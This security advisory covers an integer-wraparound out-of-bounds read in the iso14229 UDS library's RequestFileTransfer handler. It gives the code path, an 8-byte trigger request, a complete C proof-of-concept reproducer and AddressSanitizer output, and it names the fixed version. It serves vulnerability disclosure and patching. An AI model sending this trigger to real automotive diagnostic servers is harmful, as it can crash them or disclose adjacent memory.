iso14229: Out-of-bounds read in `RequestFileTransfer` (SID 0x38) via `uint16_t` wraparound of the file-path length
What fixes it
- 0.10.2iso14229GitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
Handle_0x38_RequestFileTransfer in the UDS server computes the file-path field offset as a 16-bit value, uint16_t byte_idx = 4 + file_path_len, where file_path_len is taken directly from the request. For file_path_len ≥ 0xFFFC this addition wraps to a small number, bypassing the only length-bound check in the handler. The server then forwards filePath = &recv_buf[4] together with filePathLen of up to 65535 to the application's UDS_EVT_RequestFileTransfer callback, even though only a handful of bytes were actually received. A conforming callback that reads filePathLen bytes of filePath (e.g. to open/log the file name) reads far past the receive buffer.
This is the same bug class (CWE‑191 integer wraparound → CWE‑125 out‑of‑bounds read, manifesting through the service callback) as CVE‑2026‑54413, but in a different handler (0x38 RequestFileTransfer rather than 0x27 SecurityAccess) and is not covered by that advisory.
A second, lower-severity issue in the same handler (an off-by-one bound, > instead of >=) is described under *Related hardening* and is fixed by the same patch.
Details
Relevant code (src/server.c, equivalently amalgamated iso14229.c):
// src/server.c Handle_0x38_RequestFileTransfer
1151 uint16_t file_path_len = (uint16_t)(((uint16_t)r->recv_buf[2] << 8) + (uint16_t)r->recv_buf[3]); // attacker-controlled, 0..65535
1156 uint16_t byte_idx = 4 + file_path_len; // <-- 16-bit add: 4 + 0xFFFF == 0x10003 truncates to 0x0003
1158 if (byte_idx > r->recv_len) { // <-- bypassed: the wrapped byte_idx (3) is < recv_len
1159 err = UDS_NRC_IncorrectMessageLengthOrInvalidFormat;
1160 goto done;
1161 }
...
1214 .filePathLen = file_path_len, // 65535 (un-wrapped) handed to the callback
1215 .filePath = file_path_len == 0 ? NULL : &r->recv_buf[4],
...
1221 err = EmitEvent(srv, UDS_EVT_RequestFileTransfer, &args); // -> srv->fn(...)Mechanism:
file_path_lenis fully attacker-controlled from request bytes 2–3.- The bound at line 1158 is supposed to ensure the
filePathLen-byte path (and the trailing fields) fit withinrecv_len. It checks the truncatedbyte_idx, so a request wherefile_path_len ∈ {0xFFFC..0xFFFF}makesbyte_idxwrap to{0..3}and pass the check. - The handler then builds
args.filePathLen = file_path_len(the *un-truncated* 16-bit value, up to 65535) andargs.filePath = &recv_buf[4], and invokes the user callback. - The library itself does not dereference
filePath; the out-of-bounds read occurs when a conformingUDS_EVT_RequestFileTransferhandler consumesfilePathLenbytes — the documented contract, and exactly what the in-tree fuzz harness and any real file handler do.
mode_of_operation must be a value that yields a non-NULL filePath (AddFile 0x01, ReplaceFile 0x03, or ReadFile 0x04). The minimum request length (UDS_0X38_REQ_BASE_LEN = 5) is the only other precondition.
PoC
Trigger bytes (8-byte physical UDS request): 38 04 FF FF DE AD BE EF (SID 0x38, mode ReadFile 0x04, file_path_len = 0xFFFF, then ≥1 trailing byte so recv_len ≥ 5).
Standalone reproducer (public API + in-tree mock ISO-TP transport; the callback does the normal thing — reads the advertised path length):
// repro_0x38_wrap.c — build & run:
// clang -I. -DUDS_TP_ISOTP_MOCK -DUDS_CUSTOM_MILLIS=1 -fsanitize=address \
// -fno-sanitize-recover=all -g -O1 iso14229.c repro_0x38_wrap.c -o /tmp/r && /tmp/r
#include "iso14229.h"
static uint32_t g_ms; uint32_t UDSMillis(void){ return g_ms; }
static volatile uint8_t sink;
static UDSErr_t fn(UDSServer_t*s,UDSEvent_t e,void*a){ (void)s;
if(e==UDS_EVT_RequestFileTransfer){ UDSRequestFileTransferArgs_t*r=a;
for(uint16_t i=0;i<r->filePathLen;i++) sink^=r->filePath[i]; } // OOB read
return UDS_PositiveResponse; }
int main(void){
static ISOTPMockArgs_t sa={.sa_phys=0x7E0,.ta_phys=0x7E8,.sa_func=0x7DF,.ta_func=UDS_TP_NOOP_ADDR};
static ISOTPMockArgs_t ta={.sa_phys=0x7E8,.ta_phys=0x7E0,.sa_func=UDS_TP_NOOP_ADDR,.ta_func=0x7DF};
UDSServer_t srv; UDSServerInit(&srv); srv.fn=fn; srv.tp=ISOTPMockNew("server",&sa);
UDSTp_t* tester=ISOTPMockNew("tester",&ta);
uint8_t m[]={0x38,UDS_MOOP_RDFILE,0xFF,0xFF,0xDE,0xAD,0xBE,0xEF}; // file_path_len=0xFFFF
UDSSDU_t info={.A_Mtype=UDS_A_MTYPE_DIAG,.A_TA_Type=UDS_A_TA_TYPE_PHYSICAL};
UDSTpSend(tester,m,sizeof(m),&info);
for(int i=0;i<8;i++){ g_ms+=10; UDSServerPoll(&srv); }
return 0;
}AddressSanitizer output (clang 18.1.8):
==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1 ...
#0 consume repro_0x38_wrap.c (callback reading filePath[i], filePathLen=65535)
#2 EmitEvent iso14229.c:898
#3 Handle_0x38_RequestFileTransfer iso14229.c:2093
#4 evaluateServiceResponse iso14229.c:2374
#5 UDSServerPoll iso14229.c:2526
0x... is located 0 bytes after 8336-byte region (the whole UDSServer_t)Impact (realistic)
- The read can span up to ~64 KB beyond the receive buffer. On hosted targets with memory protection (e.g. a Linux/QNX DoIP gateway), hitting an unmapped page crashes the diagnostic server (denial of service). On bare-metal MCUs — the library's primary target — there is usually no MMU, so the access does not crash; instead it reads adjacent SRAM/flash/peripheral memory, which can be disclosed to the tester if the callback reflects the file path in a response, or otherwise causes the handler to act on out-of-bounds data.
- The out-of-bounds read happens **in the integrator's
UDS_EVT_RequestFileTransfercallback**, not inside the library. A defensive callback that boundsfilePathLenitself before reading is not affected; however the library gives the callback no signal that the length is invalid, so the common/naïve implementation (open or log afilePathLen-byte path) is vulnerable. This is the same callback-mediated pattern accepted for CVE‑2026‑54413. - Reachability: a single, well-formed-looking 8-byte request; no priming, session, or prior state required at the library level. Note that many deployments gate
RequestFileTransferbehind a programming session + SecurityAccess at the application layer; where that gating is enforced before the callback consumes the length, an attacker must be authenticated (raising attack complexity / privileges — see CVSS caveats).
Text from GitHub Advisory Database
Affected versions 1
- iso14229<=0.9.0GitHub